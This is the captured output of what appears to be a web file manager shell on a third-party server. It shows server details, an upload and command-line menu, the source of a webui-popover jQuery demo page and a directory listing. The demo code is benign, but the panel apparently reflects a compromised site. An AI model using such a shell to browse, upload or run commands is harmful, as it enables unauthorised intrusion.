Document

Operation	:	Linux server.tradinguniversity.rs 3.10.0-1160.119.1.vz7.224.4 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
Software	:	Apache
Server IP	:	68.66.251.59 \| Your IP: 216.73.216.158
Domains	:	4 Domain
Permission	:	[ drwxr-xr-x ]

/ home / tradinguniversit / public_html / public / global / plugins / webui-popover-master / demo /

Web File Manager

主页上传上传 V2 命令行

index.html

<!DOCTYPE html>
<html>
	<head>
		<title>WebUI Popover Demo</title>		
		
		<link href="http://maxcdn.bootstrapcdn.com/bootstrap/3.2.0/css/bootstrap.min.css" rel="stylesheet">
		<meta content="width=device-width, initial-scale=1.0, maximum-scale=1.0,user-scalable=0" name="viewport" />

<div id="optionsWrapper">
			<div class="options">
				<h3>Options</h3>	
				<p class="option-section">
					<span class="option-box option-style style-inverse " data-option="inverse"><span class="flag"><i class="glyphicon glyphicon-ok"></i></span>inverse</span>
					<span class="option-box option-style style-default active"  data-option=""><span class="flag"><i class="glyphicon glyphicon-ok"></i></span>default</span>
					<span class="title">style: </span> 
				</p>
				<p class="option-section">
					<span class="option-box option-trigger trigger-hover " data-option="hover"><span class="flag"><i class="glyphicon glyphicon-ok"></i></span>hover</span>
					<span class="option-box option-trigger trigger-click active" data-option="click"><span class="flag"><i class="glyphicon glyphicon-ok"></i></span>click</span>
					<span class="title">trigger: </span> 
				</p>
				<p class="option-section">
					<span class="option-checker option-closeable">
						<span class="ball"></span>
						<span class="text">no</span>
					</span>
					<span class="title">closeable: </span> 
				</p>
				<p class="option-section">
					<span class="option-checker active option-multi">
						<span class="ball"></span>
						<span class="text">yes</span>
					</span>
					<span class="title">multi: </span> 
				</p>
				<p class="option-section">
					<span class="option-checker active option-arrow">
						<span class="ball"></span>
						<span class="text">yes</span>
					</span>
					<span class="title">arrow: </span> 
				</p>
			</div>
		</div>

<div class="container">
			<div class="row">
				<div class="col-md-3">
					<div class="panel panel-default panel-demo">
  						<div class="panel-heading">
							<a href="#" class="pull-right icon-setup" id="setup" >
								<i class="glyphicon glyphicon-cog"></i>
							</a>
  							WebUI-Popover Demos
  						</div>
						<div class="list-group list-example">
							<a href="#specify" class="list-group-item active">
							    <h4 class="list-group-item-heading">Specified placement</h4>
							    <p class="list-group-item-text">Use the specified placement</p>
							</a>
							<a href="#auto" class="list-group-item ">
							    <h4 class="list-group-item-heading">Auto detect placement</h4>
							    <p class="list-group-item-text">Auto detect the placement, always poped in page, can be contrained by horizontal or vertical</p>
							</a>
							<a href="#animation" class="list-group-item ">
							    <h4 class="list-group-item-heading">Pop with animation</h4>
							    <p class="list-group-item-text">Set animation by data-attribute or code</p>
							</a>
							<a href="#delayed" class="list-group-item ">
							    <h4 class="list-group-item-heading">Delayed show/hide</h4>
							    <p class="list-group-item-text">Control delay show/hide by data-attribute or code</p>
							</a>

<a href="#advanced" class="list-group-item ">
							    <h4 class="list-group-item-heading">Advanced examples</h4>
							    <p class="list-group-item-text">table in popover, larget content, async mode, iframe mode</p>
							</a>

<a href="#events" class="list-group-item ">
							    <h4 class="list-group-item-heading">Events</h4>
							    <p class="list-group-item-text">show,shown,hide,hidden</p>
							</a>
						</div>
					</div>
				</div>
				<div class="col-md-9">
					
						    	<div id="specify" class="content active">
						    		<a href="#" class="show-pop btn btn-default bottom-right" data-placement="bottom-right" 
						    		data-content="<p>This is webui popover demo.</p><p><code>placement:'bottom-right'</code></p>" > <i class="glyphicon glyphicon-cloud"></i></a>
						    		<a href="#" class="show-pop btn btn-default right-bottom" data-placement="right-bottom"
						    		data-content="<p>This is webui popover demo.</p><p><code>placement:'right-bottom'</code></p>" > <i class="glyphicon glyphicon-cloud"></i></a>
						    		<a href="#" class="show-pop btn btn-default bottom" data-placement="bottom"
						    		data-content="<p>This is webui popover demo.</p><p><code>placement:'bottom'</code></p>">  <i class="glyphicon glyphicon-cloud"></i></a>
						    		<a href="#" class="show-pop btn btn-default left-bottom" data-placement="left-bottom"
						    		data-content="<p>This is webui popover demo.</p><p><code>placement:'left-bottom'</code></p>">  <i class="glyphicon glyphicon-cloud"></i></a>
						    		<a href="#" class="show-pop btn btn-default bottom-left" data-placement="bottom-left"
						    		data-content="<p>This is webui popover demo.</p><p><code>placement:'bottom-left'</code></p>">  <i class="glyphicon glyphicon-cloud"></i></a>

<a href="#" class="show-pop btn btn-default right" data-placement="right"
						    		data-content="<p>This is webui popover demo.</p><p><code>placement:'right'</code></p>">  <i class="glyphicon glyphicon-cloud"></i></a>
						    		<a href="#" class="show-pop btn btn-default left" data-placement="left"
						    		data-content="<p>This is webui popover demo.</p><p><code>placement:'left'</code></p>">  <i class="glyphicon glyphicon-cloud"></i></a>

<a href="#" class="show-pop btn btn-default top-right" data-placement="top-right"
									data-content="<p>This is webui popover demo.</p><p><code>placement:'top-right'</code></p>"> <i class="glyphicon glyphicon-cloud"></i></a>
									<a href="#" class="show-pop btn btn-default right-top" data-placement="right-top"
									data-content="<p>This is webui popover demo.</p><p><code>placement:'right-top'</code></p>"> <i class="glyphicon glyphicon-cloud"></i></a>
									<a href="#" class="show-pop btn btn-default top" data-placement="top"
									data-content="<p>This is webui popover demo.</p><p><code>placement:'top'</code></p>"> <i class="glyphicon glyphicon-cloud"></i></a>
									<a href="#" class="show-pop btn btn-default left-top" data-placement="left-top"
									data-content="<p>This is webui popover demo.</p><p><code>placement:'left-top'</code></p>"> <i class="glyphicon glyphicon-cloud"></i></a>
									<a href="#" class="show-pop btn btn-default top-left" data-placement="top-left"
									data-content="<p>This is webui popover demo.</p><p><code>placement:'top-left'</code></p>"> <i class="glyphicon glyphicon-cloud"></i></a>

<a href="#" class="btn btn-default show-pop" id="btn-sticky" data-placement="top" data-trigger="sticky"
										data-content="<p>This is webui popover demo.</p><p><code>trigger:'sticky'</code></p>">sticky popover</a>
						    	</div>

<div id="auto" class="content">
										<table class="table table-contrains">
											<tbody>
												<tr>
													<td><a href="#" class="btn show-pop btn-default" data-placement="horizontal"> horizontal</a></td>
													<td><a href="#" class="btn show-pop btn-default" data-placement="vertical"> vertical</a></td>
													<td><a href="#" class="btn show-pop btn-danger" data-placement="auto-top"> auto-top</a></td>
													<td><a href="#" class="btn show-pop btn-default" data-placement="vertical"> vertical</a></td>
													<td><a href="#" class="btn show-pop btn-default" data-placement="vertical"> vertical</a></td>
													<td><a href="#" class="btn show-pop btn-default" data-placement="vertical"> vertical</a></td>
													<td><a href="#" class="btn show-pop btn-danger" data-placement="auto-bottom"> auto-bottom</a></td>
													<td><a href="#" class="btn show-pop btn-default" data-placement="vertical"> vertical</a></td>
													<td><a href="#" class="btn show-pop btn-default" data-placement="horizontal"> horizontal</a></td>
												</tr>
												
												<tr>
													<td><a href="#" class="btn show-pop btn-default" data-placement="horizontal"> horizontal</a></td>
													<td>&nbsp;</td>
													<td>&nbsp;</td>
													<td>&nbsp;</td>
													
													<td><a href="#" class="btn show-pop btn-default" data-placement="horizontal"> horizontal</a></td>
													<td>&nbsp;</td>
													<td>&nbsp;</td>
													<td>&nbsp;</td>
													<td><a href="#" class="btn show-pop btn-default" data-placement="horizontal"> horizontal</a></td>
												</tr>
												<tr>
													<td><a href="#" class="btn show-pop btn-default" data-placement="horizontal"> horizontal</a></td>
													<td>&nbsp;</td>
													<td>&nbsp;</td>
													<td>&nbsp;</td>
													
													<td><a href="#" class="btn show-pop btn-default" data-placement="horizontal"> horizontal</a></td>
													<td>&nbsp;</td>
													<td>&nbsp;</td>
													<td>&nbsp;</td>
													<td><a href="#" class="btn show-pop btn-default" data-placement="horizontal"> horizontal</a></td>
												</tr>
												<tr>
													<td><a href="#" class="btn show-pop btn-danger" data-placement="auto-right"> auto-right</a></td>
													<td>&nbsp;</td>
													<td> <a href="#" class="btn show-pop  btn-danger  btn-auto">auto</a></td></td>
													<td>&nbsp;</td>
													
													<td><a href="#" class="btn show-pop btn-danger" data-placement="auto-right"> auto-right</a></td>
													<td>&nbsp;</td>
													<td><a href="#" class="btn show-pop  btn-danger btn-auto"> auto</a></td></td>
													<td>&nbsp;</td>
													<td><a href="#" class="btn show-pop btn-danger" data-placement="auto-right"> auto-right</a></td>
												</tr>
												<tr>
													<td><a href="#" class="btn show-pop btn-default" data-placement="horizontal"> horizontal</a></td>
													<td>&nbsp;</td>
													<td>&nbsp;</td>
													<td>&nbsp;</td>
													
													<td><a href="#" class="btn show-pop btn-default" data-placement="horizontal"> horizontal</a></td>
													<td>&nbsp;</td>
													<td>&nbsp;</td>
													<td>&nbsp;</td>
													<td><a href="#" class="btn show-pop btn-default" data-placement="horizontal"> horizontal</a></td>
												</tr>
												<tr>
													<td><a href="#" class="btn show-pop btn-default" data-placement="horizontal"> horizontal</a></td>
													<td>&nbsp;</td>
													<td>&nbsp;</td>
													<td>&nbsp;</td>
													
													<td><a href="#" class="btn show-pop btn-default"  data-placement="horizontal"> horizontal</a></td>
													<td>&nbsp;</td>
													<td>&nbsp;</td>
													<td>&nbsp;</td>
													<td><a href="#" class="btn show-pop btn-default" data-placement="horizontal"> horizontal</a></td>
												</tr>
												<tr>
													<td><a href="#" class="btn show-pop btn-default" data-placement="horizontal"> horizontal</a></td>
													<td><a href="#" class="btn show-pop  btn-default" data-placement="vertical"> vertical</td>
													<td><a href="#" class="btn show-pop  btn-danger" data-placement="auto-top"> auto-top</a></td>
													<td><a href="#" class="btn show-pop  btn-default" data-placement="vertical"> vertical</a></td>
													
													
													<td><a href="#" class="btn show-pop  btn-danger  btn-auto"> auto</a></td>
													
													<td><a href="#" class="btn show-pop  btn-default" data-placement="vertical"> vertical</a></td>
													<td><a href="#" class="btn show-pop  btn-danger" data-placement="auto-bottom"> auto-bottom</a></td>
													<td><a href="#" class="btn show-pop  btn-default" data-placement="vertical"> vertical</a></td>
													<td><a href="#" class="btn show-pop btn-default" data-placement="horizontal"> horizontal</a></td>
												</tr>
												<tr>
													<td><a href="#" class="btn show-pop btn-default" data-placement="horizontal"> horizontal</a></td>
													<td>&nbsp;</td>
													<td>&nbsp;</td>
													<td>&nbsp;</td>
													
													<td><a href="#" class="btn show-pop  btn-default" data-placement="horizontal"> horizontal</a></td>
													<td>&nbsp;</td>
													<td>&nbsp;</td>
													<td>&nbsp;</td>
													<td><a href="#" class="btn show-pop btn-default" data-placement="horizontal"> horizontal</a></td>
												</tr>
												<tr>
													<td><a href="#" class="btn show-pop btn-default" data-placement="horizontal"> horizontal</a></td>
													<td>&nbsp;</td>
													<td>&nbsp;</td>
													<td>&nbsp;</td>
													
													<td><a href="#" class="btn show-pop btn-default" data-placement="horizontal"> horizontal</a></td>
													<td>&nbsp;</td>
													<td>&nbsp;</td>
													<td>&nbsp;</td>
													<td><a href="#" class="btn show-pop btn-default" data-placement="horizontal"> horizontal</a></td>
												</tr>
												
												<tr>
													<td><a href="#" class="btn show-pop btn-danger" data-placement="auto-left"> auto-left</a></td>
													<td>&nbsp;</td>
													<td><a href="#" class="btn show-pop  btn-danger  btn-auto"> auto</a></td></td>
													<td>&nbsp;</td>
													
													<td><a href="#" class="btn show-pop btn-danger" data-placement="auto-left"> auto-left</a></td>
													<td>&nbsp;</td>
													<td><a href="#" class="btn show-pop  btn-danger  btn-auto"> auto</a></td></td>
													<td>&nbsp;</td>
													<td><a href="#" class="btn show-pop btn-danger" data-placement="auto-left"> auto-left</a></td>
												</tr>
												<tr>
													<td><a href="#" class="btn show-pop btn-default" data-placement="horizontal"> horizontal</a></td>
													<td>&nbsp;</td>
													<td>&nbsp;</td>
													<td>&nbsp;</td>
													
													<td><a href="#" class="btn show-pop btn-default" data-placement="horizontal"> horizontal</a></td>
													<td>&nbsp;</td>
													<td>&nbsp;</td>
													<td>&nbsp;</td>
													<td><a href="#" class="btn show-pop btn-default" data-placement="horizontal"> horizontal</a></td>
												</tr>
												<tr>
													<td><a href="#" class="btn show-pop btn-default" data-placement="horizontal"> horizontal</a></td>
													<td>&nbsp;</td>
													<td>&nbsp;</td>
													<td>&nbsp;</td>
													
													<td><a href="#" class="btn show-pop btn-default" data-placement="horizontal"> horizontal</a></td>
													<td>&nbsp;</td>
													<td>&nbsp;</td>
													<td>&nbsp;</td>
													<td><a href="#" class="btn show-pop btn-default" data-placement="horizontal"> horizontal</a></td>
												</tr>

<tr>
													<td><a href="#" class="btn show-pop btn-default" data-placement="horizontal"> horizontal</a></td>
													<td><a href="#" class="btn show-pop btn-default" data-placement="vertical"> vertical</a></td>
													<td><a href="#" class="btn show-pop btn-danger" data-contrains="auto-top"> auto-top</a></td>
													<td><a href="#" class="btn show-pop btn-default" data-placement="vertical"> vertical</a></td>
													
													<td><a href="#" class="btn show-pop btn-default" data-placement="vertical"> vertical</a></td>
													<td><a href="#" class="btn show-pop btn-default" data-placement="vertical"> vertical</a></td>
													<td><a href="#" class="btn show-pop btn-danger" data-placement="auto-bottom"> auto-bottom</a></td>
													<td><a href="#" class="btn show-pop btn-default" data-placement="vertical"> vertical</a></td>
													<td><a href="#" class="btn show-pop btn-default" data-placement="horizontal"> horizontal</a></td>
												</tr>
											</tbody>
										</table>
									</div>

<div id="animation" class="content">
									<a href="#" class="btn btn-default show-pop pull-left" data-placement="vertical"><span class="prefix">default:</span> none</a>
										
									<a href="#" class="btn btn-success  show-pop pull-right" data-animation="fade"  data-placement="vertical"
										data-content="<p>WebUI pop with animation</p><p>can set by code: <code>animation:'fade'</code></p><p>or  element attr: <code>data-animation='fade'</code> </p>"
										><span class="prefix">animation:</span>fade</a>

<a href="#" class="btn btn-info  show-pop center-block" data-animation="pop"  data-placement="vertical"
										data-content="<p>WebUI pop with animation</p><p>can set by code: <code>animation:'pop'</code></p><p>or  element attr: <code>data-animation='pop'</code> </p>"
										><span class="prefix">animation:</span>pop</a>
								</div>
								<div id="delayed" class="content">
									<a href="#" class="btn btn-info show-pop-delay pull-left" data-content="<p>Only working when trigger is set: <code>'hover'</code></p><p> <code>data-delay-show=300</code></p>  <p><code>data-delay-hide=1000</code></p>" data-delay-show="300" data-delay-hide="1000"  data-title="Delayed WebUI Popover" data-placement="right">by data-attribute</a>

<a href="#" class="btn btn-success  show-pop-code-delay pull-right" data-content="content...<p> <code>data-delay-show=0</code></p><p><code>data-delay-hide=1000</code></p>" data-title="Delayed WebUI Popover" data-placement="left"> by code</a>
								</div>
								<div id="advanced" class="content">
									<a href="#" class="show-pop-table btn btn-default " data-placement="vertical"><span class="prefix">pop with </span>table</a>
									<a href="#" class="show-pop-list btn btn-default " data-placement="vertical"><span class="prefix">pop with </span>list</a>
									
									<a href="#" class="show-pop-iframe btn btn-default " data-placement="vertical"><span class="prefix">pop </span>iframe </a>
									<a href="#" class="show-pop-async btn btn-default" data-placement="vertical"><span class="prefix">pop </span>async</a>
									
									
									<a href="#" class="show-pop-large btn btn-default center-block" data-placement="vertical">
									<span class="prefix">pop </span>large <span class="suffix">content</span></a>

<!-- <form>
									  <h2 >Input hints</h2>
									  <br>
									  <div class="form-group">
									    <label for="">Email address</label>
									    <input type="email" class="form-control form-input"
									    	 data-content="Please  enter valid email!" data-placement="right" data-multi="false" data-trigger="manual">
									  </div>
									  <div class="form-group">
									    <label for="">Password</label>
									    <input type="password" class="form-control form-input" 
									    data-content="Place enter password !" data-placement="right" data-multi="false" data-trigger="manual" >
									  </div>
									  
									  <button type="submit" class="btn btn-default">Submit</button>
									  <div class="clearfix"></div>

</form> -->
									 <a href="#" class="show-pop-backdrop btn btn-default " data-placement="auto">pop with backdrop</a>

<a href="#" class="show-pop-dropdown btn btn-default " data-placement="auto">pop with bs-dropdown</a>
									 <div  class="webui-popover-content">
								          <ul class="dropdown-menu" >
								          	<li><a href="#">Action</a></li>
								            <li><a href="#">Another Option</a></li>
								            <li><a href="#">Something else</a></li>
								            <li role="separator" class="divider"></li>
								            <li><a href="#">Separated link</a></li>
								          </ul>
							         </div>

</div>
								<div id="events" class="content">
									<div class="btns">
									<a href="#" class="show-pop-event btn btn-info pull-left" data-placement="auto">show</a>
									<a href="#" class="show-pop-event btn btn-info pull-left" data-placement="auto">shown</a>
									<a href="#" class="show-pop-event btn btn-info pull-right" data-placement="auto">hidden</a>
									<a href="#" class="show-pop-event btn btn-info pull-right" data-placement="auto">hide</a>
									
									<div class="clearfix"></div>
									</div>
									<p>Event Logs</p>
									<textarea class="form-control" rows="5" id="eventLogs"></textarea>
									<a href="#" class="btn btn-default" id="resetLogs">reset logs</a>

</div>

</div>
				</div>
			</div>
		</div>

<div id="tableContent" style="display:none;">
			<table class="table">
		      <thead>
		        <tr>
		          <th>#</th>
		          <th>First Name</th>
		          <th>Last Name</th>
		          <th>Username</th>
		        </tr>
		      </thead>
		      <tbody>
		        <tr>
		          <td>1</td>
		          <td>Mark</td>
		          <td>Otto</td>
		          <td>@mdo</td>
		        </tr>
		        <tr>
		          <td>2</td>
		          <td>Jacob</td>
		          <td>Thornton</td>
		          <td>@fat</td>
		        </tr>
		        <tr>
		          <td>3</td>
		          <td>Larry</td>
		          <td>the Bird</td>
		          <td>@twitter</td>
		        </tr>
		      </tbody>
		    </table>

</div>
		
		<div id="listContent" style="display:none;">
			<ul class="list-group">
			  <li class="list-group-item">Cras justo odio</li>
			  <li class="list-group-item">Dapibus ac facilisis in</li>
			  <li class="list-group-item">Morbi leo risus</li>
			  <li class="list-group-item">Porta ac consectetur ac</li>
			  <li class="list-group-item">Vestibulum at eros</li>
			</ul>
		</div>

<div id="largeContent" style="display:none;">
			<p><a href="#" class="pop-click">click</a> The jQuery Foundation&#8217;s <a href="http://jquery.org/mission">mission</a> has always been about more than just our namesake projects of jQuery, jQuery UI, and jQuery Mobile. We already host several projects such as Sizzle, QUnit and Globalize that are not dependent on the jQuery library.</p>
<p>This wider web-oriented mission is evident in our jQuery Conferences, which span a wide range of developer concerns beyond jQuery, including Node, CSS, tooling, testing and much more. Over the years we&#8217;ve had talks on build tools, accessibility, security, performance, design patterns, and frameworks such as Ember and Angular. At our San Diego conference this past February, for example, Lenny Markus gave a great talk on <a title="NodeJS In the Enterprise" href="https://www.youtube.com/watch?v=qJVk6KiOEBA" target="_blank">PayPal&#8217;s continuing adoption of Node</a> as they move away from Java and proprietary solutions, Catherine Farman talked about <a title="Real World Responsive Design Projects and Patterns" href="https://www.youtube.com/watch?v=CkC8F3x8-nc" target="_blank">real world responsive design</a>, and John Dimm gave a talk on the <a title="Fun with Speech" href="https://www.youtube.com/watch?v=n8G1CuR2zZc" target="_blank">HTML5 speech APIs</a>.</p>
<p>The jQuery Foundation is participating in the continuing evolution of the web platform via our memberships in both the W3C and ECMA TC39 (The group standardizing what we know as JavaScript). We feel that it&#8217;s essential to have strong representation in those standards groups to ensure they meet the needs of developers. The Foundation provides a platform for developers to have a voice in these standards bodies.</p>
<p>Beyond the technical compatibility between our projects, we also share the open source model and all the benefits it provides. The Foundation adds the benefit of a top-level structure designed to serve the projects, providing the resources they need but letting the contributors decide the best direction for the project based on community input. Any project that joins the Foundation is given the ability to serve their community&#8217;s needs rather than be constrained by the goals of a for-profit company.</p>
<p>Though this has been our mission for a long time, we felt we needed to make this clearer. We are excited to start bringing this part of our mission into the light and start actively working toward a more open web accessible to everyone. If you are excited as well, please help us. Contribute your time to <a href="https://jquery.org/projects/" target="_blank">Foundation projects</a>. Offer your company&#8217;s services. If you or your company have an established open source project that you believe could benefit everyone and flourish by becoming part of the jQuery Foundation, check out our philosophy around <a href="https://jquery.org/projects/join/">projects joining the Foundation</a> and <a href="mailto:info@jquery.org">let us know you’re interested</a>. If you would rather just support the existing and future projects of the Foundation through financial support, <a href="https://jquery.org/join/">become a member of the Foundation.</a> Open source projects will only thrive if everyone who benefits from them contributes back in whatever way they can.</p>
		</div>

var settings = {
						trigger:'click',
						title:'WebUI Popover ',
						content:'<p>This is webui popover demo.</p><p>just enjoy it and have fun !</p>',
						width:auto,						
						multi:true,						
						closeable:false,
						style:'',
						delay:300,
						padding:true,
						backdrop:false
				};

// $('a[data-toggle="tab"]').on('click',function(e){
				// 	e.preventDefault();
				// 	var $this = $(this);
				// 	$this.parent().addClass('active').siblings().removeClass('active');
				// 	var $content = $this.closest('.nav-tabs').next().find($this.attr('href'));
				// 	$content.addClass('active').siblings().removeClass('active');
				// });

$('#setup').webuiPopover({
					width:350,
					height:535,
					padding:false,
					animation:'pop',
					content:$('#optionsWrapper').html(),
				});	
				content:$('#optionsWrapper').remove();

$(document).on('click','span.option-checker',function(e){
					e.preventDefault();
					e.stopPropagation();
					$(this).toggleClass('active');
					var text = $(this).hasClass('active')?'yes':'no';
					$(this).children('.text').text(text);
					updateSettings();
				});

$(document).on('click','span.option-box',function(e){
					e.preventDefault();
					e.stopPropagation();
					$(this).addClass('active').siblings().removeClass('active');
					updateSettings();
				});

$('.list-example').on('click','.list-group-item',function(e){
					e.preventDefault();
					$(this).addClass('active').siblings().removeClass('active');
					var $content = $($(this).attr('href'));
					$content.addClass('active').siblings().removeClass('active');
					$('.webui-popover').hide();
					if ($(this).attr('href')=='#specify'){
						$('#btn-sticky').webuiPopover('destroy').webuiPopover(settings);
					}
				});

// $('.btn-settings').on('click',function(e){
				// 		e.preventDefault();
				// 		$(this).addClass('active').siblings().removeClass('active');
				// 		var option = $(this).data('option');
				// 		settings[option]= $(this).data(option);					
				// 		initPopover();
				// });

// $('.btn-reset').on('click',function(e){
				// 	e.preventDefault();
				// 	location.reload();
				// });

function updateSettings(){
					settings.style=$('.option-style.active').data('option');
					settings.trigger=$('.option-trigger.active').data('option');
					settings.closeable=$('.option-closeable').hasClass('active');
					settings.multi = $('.option-multi').hasClass('active');
					settings.arrow = $('.option-arrow').hasClass('active');
					initPopover();
				}

function initPopover(){					
					$('a.show-pop').webuiPopover('destroy').webuiPopover(settings);				
					
					var tableContent = $('#tableContent').html(),
						tableSettings = {content:tableContent,
											width:500
										};
					$('a.show-pop-table').webuiPopover('destroy').webuiPopover($.extend({},settings,tableSettings));

var listContent = $('#listContent').html(),
						listSettings = {content:listContent,
											title:'',
											padding:false
										};
					$('a.show-pop-list').webuiPopover('destroy').webuiPopover($.extend({},settings,listSettings));

var largeContent = $('#largeContent').html(),
						largeSettings = {content:largeContent,
											width:400,
											height:350,
											delay:{show:300,hide:1000},
											closeable:true
										};
					var popLarge = $('a.show-pop-large').webuiPopover('destroy').webuiPopover($.extend({},settings,largeSettings));

$('a.show-pop-delay').webuiPopover('destroy').webuiPopover({trigger:'hover',width:300});
					$('a.show-pop-code-delay').webuiPopover('destroy').webuiPopover({
																						trigger:'hover',
																						width:300,
																						delay:{
																							show:0,
																							hide:1000
																						}
																					});

$('a.show-pop-backdrop').webuiPopover('destroy').webuiPopover({content:'popover with backdrop!', backdrop:true});

$('a.show-pop-dropdown').webuiPopover('destroy').webuiPopover({padding:0});

var
					 	iframeSettings = {	width:500,
					 						height:350,
					 						closeable:true,
					 						padding:false,
					 						type:'iframe',
					 						url:'http://getbootstrap.com'};					
					$('a.show-pop-iframe').webuiPopover('destroy').webuiPopover($.extend({},settings,iframeSettings));

$('#change').on('click',function(e){
						e.preventDefault();
						$('#aa').text('changed text');
					})

$('a.show-pop-event').each(function(i,item){
							var ename = $(item).text()+'.webui.popover';
							$(item).webuiPopover('destroy').webuiPopover(settings)
							.on(ename,function(e,tgt){
								var log =  ename+' is trigged!';
								if (console){
									console.log(log,tgt);
								}
								$('#eventLogs').text($('#eventLogs').text()+'\n'+log);
							});
					});

$('body').on('click','.pop-click',function(e){
						e.preventDefault();
						if (console){
							console.log('clicked');
						}
					});

var inputSettints = {
						placement:'right',
						title:'',
						multi:false,
						width:220
					};

$('.form-input').webuiPopover('destroy').webuiPopover($.extend({},settings,inputSettints));

$('.form-input').on('focus',function(){
						$(this).webuiPopover('show');
					});

}

$('#resetLogs').on('click',function(e){
					e.preventDefault();
					$('#eventLogs').text('');
				});

initPopover();

})();
			
		</script>
	</body>
</html>

Name	Type	Size	Owner/Group	Permission	Last Modified	Actions
.	dir	-	tradinguniversit/tradinguniversit	drwxr-xr-x	2025-03-17 06:03:42
..	dir	-	tradinguniversit/tradinguniversit	drwxr-xr-x	2025-03-17 06:03:42
async-content-another.html	text/plain	157 B	tradinguniversit/tradinguniversit	-rwxr-xr-x	2025-03-17 06:03:42
async-content.html	text/plain	209 B	tradinguniversit/tradinguniversit	-rwxr-xr-x	2025-03-17 06:03:42
bootstrap.css	text/plain	129.44 KB	tradinguniversit/tradinguniversit	-rwxr-xr-x	2025-03-17 06:03:42
bootstrap.js	text/plain	59.26 KB	tradinguniversit/tradinguniversit	-rwxr-xr-x	2025-03-17 06:03:42
demo.css	text/x-asm	6.58 KB	tradinguniversit/tradinguniversit	-rwxr-xr-x	2025-03-17 06:03:42
index-dev.html	text/html	31.2 KB	tradinguniversit/tradinguniversit	-rwxr-xr-x	2025-03-17 06:03:42
index-old.html	text/html	27.04 KB	tradinguniversit/tradinguniversit	-rwxr-xr-x	2025-03-17 06:03:42
index.html	text/html	31.21 KB	tradinguniversit/tradinguniversit	-rwxr-xr-x	2025-03-17 06:03:42
jquery.js	text/plain	242.01 KB	tradinguniversit/tradinguniversit	-rwxr-xr-x	2025-03-17 06:03:42
mobile.html	text/html	838 B	tradinguniversit/tradinguniversit	-rwxr-xr-x	2025-03-17 06:03:42
table-data.json	application/json	625 B	tradinguniversit/tradinguniversit	-rwxr-xr-x	2025-03-17 06:03:42
test-auto-bottom.html	text/html	927 B	tradinguniversit/tradinguniversit	-rwxr-xr-x	2025-03-17 06:03:42
test-body-height.html	text/html	1.22 KB	tradinguniversit/tradinguniversit	-rwxr-xr-x	2025-03-17 06:03:42
test-cache.html	text/html	1.93 KB	tradinguniversit/tradinguniversit	-rwxr-xr-x	2025-03-17 06:03:42
test-canvas.html	text/html	769 B	tradinguniversit/tradinguniversit	-rwxr-xr-x	2025-03-17 06:03:42
test-container-scroll-fix.html	text/html	1.28 KB	tradinguniversit/tradinguniversit	-rwxr-xr-x	2025-03-17 06:03:42
test-container-scroll.html	text/html	1.62 KB	tradinguniversit/tradinguniversit	-rwxr-xr-x	2025-03-17 06:03:42
test-container.html	text/html	1.19 KB	tradinguniversit/tradinguniversit	-rwxr-xr-x	2025-03-17 06:03:42
test-global-api.html	text/html	1.46 KB	tradinguniversit/tradinguniversit	-rwxr-xr-x	2025-03-17 06:03:42
test-issue193.html	text/html	1.85 KB	tradinguniversit/tradinguniversit	-rwxr-xr-x	2025-03-17 06:03:42
test-issue195.html	text/html	5.39 KB	tradinguniversit/tradinguniversit	-rwxr-xr-x	2025-03-17 06:03:42
test-issue197.html	text/html	1.09 KB	tradinguniversit/tradinguniversit	-rwxr-xr-x	2025-03-17 06:03:42
test-issue214.html	text/html	1015 B	tradinguniversit/tradinguniversit	-rwxr-xr-x	2025-03-17 06:03:42
test-manual-show-bug.html	text/html	2.12 KB	tradinguniversit/tradinguniversit	-rwxr-xr-x	2025-03-17 06:03:42
test-svg.html	text/html	710 B	tradinguniversit/tradinguniversit	-rwxr-xr-x	2025-03-17 06:03:42
test-wenzhixin-bstable.html	text/html	2.47 KB	tradinguniversit/tradinguniversit	-rwxr-xr-x	2025-03-17 06:03:42
test.html	text/html	12.05 KB	tradinguniversit/tradinguniversit	-rwxr-xr-x	2025-03-17 06:03:42
text.txt	text/plain	353 B	tradinguniversit/tradinguniversit	-rwxr-xr-x	2025-03-17 06:03:42